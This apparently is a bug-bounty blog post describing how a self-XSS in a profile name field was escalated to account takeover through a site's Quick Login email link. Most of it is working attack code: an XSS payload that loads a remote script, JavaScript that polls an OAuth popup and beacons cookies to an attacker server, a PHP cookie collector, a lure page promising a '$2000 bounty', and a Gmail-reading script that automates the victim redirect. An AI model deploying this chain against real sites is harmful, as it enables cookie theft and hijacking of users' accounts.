Self-XSS to ATO via Site Features
Escalate Self-XSS to account takeover through Quick Login feature
Hey guys,
I hope you are well. First, I want to thank you for sharing your love for my waybackurl extension and for starring the "small tools for hackers" on GitHub.
In this article, I want to share a cool self-XSS that I escalated to an account takeover using site features in a public program. I will explain how I found it, how to exploit it, and how to present it using the Google API to trigger it like a hacker in the real world.
How I found Self-XSS
In this case, I pasted my XSS payload into the name field on the profile page. The payload was:
<img/src/onerror='alert(1)'>
The website was built using Next.js technology. On the profile page, everything was secure, and characters like quotes, >
, and <
were encoded. I decided to explore other pages. After opening many pages, I finally landed on one where my payload executed! I was so surprised and excited. After that, I tried to escalate the issue. I needed a way to bring victims to my account and then redirect them to this page. But how?
Usually, hackers use Login CSRF, but this method didn't work for me. I checked status codes in Burpsuite to find a redirect or something similar. I discovered a request containing a JWT in the redirect_uri property in the response body, but I didn't have the secret key. I tried to crack it, but it didn't work. I got sad and left the desk.
After a break, I opened the landing page in private tab. I figured out there is a button for login.
This website had 3 methods for login:
Quick login: This method sends a link to your email, allowing you to log in without a username and password. The link is valid for 10 minutes and expires after that.
Normal user and password.
Login via Google or FB.
I tried using the Quick login method. The website sent a login link. After clicking on it, the link redirected me to the landing page.. Bingo. That was exactly what the doctor ordered.
So the plan so far is:
Add payload to profile
Deliver the quick login to the victim
But there are two issues:
- I had just 10 minutes to deliver it to the victim. Certainly, the trigger would mark it as low impact or informative.
2. Cookie flags :(. I didn't have access to the cookies via JS.
How to exploit my Self-XSS to ATO?
First, I decided to tackle the biggest challenge: how could I take over the victim's account?
I had several scenarios in mind that I wanted to test. The first scenario was to steal the SSO token from the child window. But after investigating, I found that the application didn't set the token in the URL.
I told myself, "Okay, maybe we can steal the child cookies when I use window.open." So, I went back to the profile and changed the payload:
<img/src/onerror='s=document.createElement("script");s.src="https://myserver/script.js";document.body.append(s);'>
and my script.js
let exploitWindow = window.open(
'https://accounts.google.com/o/oauth2/auth?redirect_uri=https://example.com/auth/google/callback&response_type=code&scope=email&client_id=0000000000-0000000.apps.googleusercontent.com&state={"app":"bla-bla","redirect":"https://www.example.com/landingpage","":"undefined","callback":"https://clb.example.com/auth/google/callback"}&nonce=00000',
"example",
"width=600,height=400,status=yes,scrollbars=yes,resizable=yes"
);
var checkClosed = setInterval(function() {
navigator.sendBeacon('https://myserver.com/save.php',JSON.stringify({cookiex:exploitWindow.document.cookie}));
if (exploitWindow.closed) {
clearInterval(checkClosed);
var cookies = document.cookie;
alert(cookies);
console.log(cookies);
navigator.sendBeacon('https://myserver.com/save.php',JSON.stringify({cookie:cookies}));
}
}, 1000);
Code Review
With the code below, I opened login form via google
let exploitWindow = window.open(
'https://accounts.google.com/o/oauth2/auth?redirect_uri=https://example.com/auth/google/callback&response_type=code&scope=email&client_id=0000000000-0000000.apps.googleusercontent.com&state={"app":"bla-bla","redirect":"https://www.example.com/landingpage","":"undefined","callback":"https://clb.example.com/auth/google/callback"}&nonce=00000',
"example",
"width=600,height=400,status=yes,scrollbars=yes,resizable=yes"
);
And with this code, every second, I was checking the cookies and sending them to my server. Since I didn't know when the form would complete, I used exploitWindow.closed
to send the final cookies to my server.
var checkClosed = setInterval(function() {
navigator.sendBeacon('https://myserver.com/save.php',JSON.stringify({cookiex:exploitWindow.document.cookie}));
if (exploitWindow.closed) {
clearInterval(checkClosed);
var cookies = document.cookie;
alert(cookies);
console.log(cookies);
navigator.sendBeacon('https://myserver.com/save.php',JSON.stringify({cookie:cookies}));
}
}, 1000);
and save.php code is
<?php
$data = file_get_contents('php://input');
if (!empty($data)) {
$file = fopen("c.txt", "a");
if ($file) {
$json_data = json_encode($data);
fwrite($file, $json_data ? $json_data . PHP_EOL : $data . PHP_EOL);
fclose($file);
echo "POST data saved successfully!";
} else {
echo "Error opening file for writing.";
}
} else {
echo "No POST data received.";
}
Last but not least:
So far, I was able to bring the victim to my account and steal their cookies. However, there is another problem: the quick link has a short lifespan of just 10 minutes.
For this issue, I decided to work with the Google API to read my Gmail and grab the link. Here is the plan for this step:
Send request to the server for quick login
Get the link by Google API
Redirect the victim via the link
I made a page to deliver the victim and implemented steps 1, 3 on it. the code is: (main.html)
<!DOCTYPE html>
<html>
<head>
<title>PoC</title>
</head>
<body>
<h1>
For Demo!
<br />
Login with google and get $2000 bounty!
Redirect to www.blablab.com...
<img id="loading" src="https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExZW1pY3ZrMTlobDI0YTl1ZWIzdWx3cTZid2cyNGVndzN3dTl5a3RwZSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/wnYB3vx9t6PXiq1ubB/giphy.gif">
</h1>
<script>
function reqListener() {
const res= JSON.parse(this.responseText);
loading.remove();
// redirect the victim to attacker account
window.location.href=res.link;
}
// Get the Quick link from my email
function getLink(){
const req = new XMLHttpRequest();
req.addEventListener("load", reqListener);
req.open("GET", "https://myserver.com/readEmail.php");
req.send();
}
// Request to send Quick login link
function revokeLink(){
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/www.blablab.com\/api\/multipass\/account\/quick_logins\/login_token", true);
xhr.withCredentials = true;
var body = "{\"email\":\"www.myemail@gmail.com\",\"sign\":\"hahahaha\",\"data\":\"blablablabl\"}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
// First Request the link from site
revokeLink();
// Then wait for 5sec and reademail and get it
setTimeout(()=>{
getLink();
},5000);
</script>
</body>
</html>
Read email from Gmail via API
For this case, I used "Google App Script" and PHP. (step 2)
First, you need to log in to https://script.google.com and create a script with GET and POST methods. I used Gread library written by someone I don't know. The library code is:
1stOxyACJLkbzvr-u4dd_hpxjK5vXQ96YdZtHu8DGVLtMfYgoKhfXjBDe
and script codes are:
function doGet(e){
return ContentService.createTextOutput('not allowed!');
}
function doPost(e){
var o = Greader.builder(e);
return ContentService.createTextOutput(o);
}
So far, we have created our API. To read Gmail, I wrote this code (readEmail.php):
<?php
header("Access-Control-Allow-Origin: *");
function c($scriptUrl,$data){
$ch = curl_init($scriptUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
return json_decode($result, true);
}
$scriptUrl = "https://script.google.com/macros/s/blablabla/exec";
$limit = 10;
$offset = 0;
$data = array(
"action" => "inboxList",
"limit" => $limit,
"offset" => $offset
);
$result = c($scriptUrl,$data);
if($result['status'] == 'success'){
foreach($result['data'] as $inbox){
$dataInbox = array(
"action" => "inboxRead",
"id" => $inbox['id'],
);
if($inbox['from']=='noreply-service@example.com' && $inbox['subject']=='Quick Login Verification Email'){
$regex = '/https:\/\/blabla\.example\.com\/auth\/quick\/callback.*"/'; // More specific regex
$a= c($scriptUrl,$dataInbox);
if (preg_match($regex, $a['data']['body'], $matches)) {
$link = str_replace('&', '&', $matches[0]);
$link = str_replace('"','',$link);
$json_data = json_encode(array('link' => $link));
header('Content-Type: application/json');
echo $json_data;
}
die;
}
}
}
How to Present?
Now I have a page that requests the site to send a Quick Login Link. The site sends the link to my email. After 5 seconds, my code checks my Gmail, gets the link, and redirects the victim to the landing page with my cookies. On the landing page, my payload executes and opens a window that prompts the victim to log in with their Gmail. If they are already logged in, they will log in without any clicks, and I can get their cookies. Otherwise, I will get their cookies after they log in.
Best
I hope this code and article are useful and help you make money. I look forward to seeing your happiness and success, so please send your positive vibes my way. :)
Thanks for reading, sharing and everything that I don't know.
What’s next? Who knows? If I survive, I will write another article. (<3 packet)